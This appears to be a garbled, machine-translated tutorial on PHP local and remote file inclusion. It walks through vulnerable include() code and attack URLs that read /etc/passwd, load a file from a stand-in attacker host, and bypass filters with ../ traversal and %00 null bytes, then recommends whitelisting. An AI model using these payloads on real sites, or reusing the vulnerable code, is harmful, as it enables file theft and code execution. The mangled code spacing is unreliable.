Practice
Including files in this context means that an attacker can get the victim's interpreter to load the given file. The file can be loaded from the victim's server or from another host. To do this, the victim needs some insecure code, as shown below.
This will allow an attacker to read any file that the web server process owner can read.
<? php include ( $ _GET [ 'page' ] ) ; ?>
HTTP: //localhost/index.php page = / etc / passwd
An attacker can also inject their own file, which will be parsed by the PHP interpreter at http: // localhosts.
<? php include ( $ _GET [ 'page' ] ) ; ?>
HTTP: //localhost/index.php page = HTTP: //attackersHost/inject.txt
or we don't want a remote file to be included
Let's add a check for whether the given file exists in the local file system:
<? php
if ( file_exists ( $ _GET [ 'page' ] ) ) {
include ( $ _GET [ 'page' ] ) ;
}
?>
Now the attacker is no longer able to inject a remote file.
But this means you can still type http: //localhost/index.php? Page = / etc / passwd
The file exists, and voila.
or where relative path traversal comes in
One approach to stopping our files from being read is to jail the attacker into a specific directory:
<? php
if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ) {
include ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ;
}
?>
Suppose we are at /var/www/index.php
The 1st ../ will change the path to /var/
The 2nd ../ will change the path to /
This means you can supply something like http: //localhost/index.php? Page = .. / .. / etc / passwd
/ etc / passwd exists, and voila.
Since the attacker doesn't know where the web root is located in the server's file system, they can obtain this information by triggering errors with incorrectly set parameters.
Or simply guess up to 10 or even more levels deep.
Read full path disclosure for more information.
or where the Poison Null Byte comes in
Another approach to stopping our files from being read is to append .php (or something else) to the end of the given file:
<? php
if ( file_exists ( $ _GET [ 'page' ] . '.php' ) ) {
include ( $ _GET [ 'page' ] . '.php' ) ;
}
?>
This means the attacker has to tell the victim's interpreter to stop the string before ".php" is appended.
This can be done as follows: http: //localhost/index.php? Page = / etc / passwd% 00
file_exists() will check for the existence of a file named /etc/passwd%00.php and correct me if I'm wrong
The file / etc / passwd exists, and voila.
Read Poison Null Byte for more information.
This can be combined with the directory attack to break it
<? php
if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ) {
include ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ;
}
?>
by requesting http: //localhost/index.php? page = .. / .. / etc / passwd% 00
We could start filtering out special characters such as "/", "." and "%"
I don't know what will happen if the attacker uses Hex, Unicode, or some other encoding.
Or double encoding. There's simply too much to worry about.
In this situation, a whitelist is much safer than any blacklist:
<? php
if ( $ _GET [ 'page' ] == 'news' ) {
include ( 'news.php' ) ;
}
?>
You can also have an array of allowed inputs (perhaps generated earlier via an SQL query) and check whether $_GET['page'] is in this array. If true, include the associated file. If false, perform a few small string checks. If you find malicious content (such as "\.%'/) in $_GET['page'], add the attacker's IP address to an IP-based blacklist. Or, if you control the server, add its IP address to the firewall. This way, attackers will eventually run out of (proxy) IP addresses, and "normal" errors are logged without blacklisting users' IP addresses.
Comments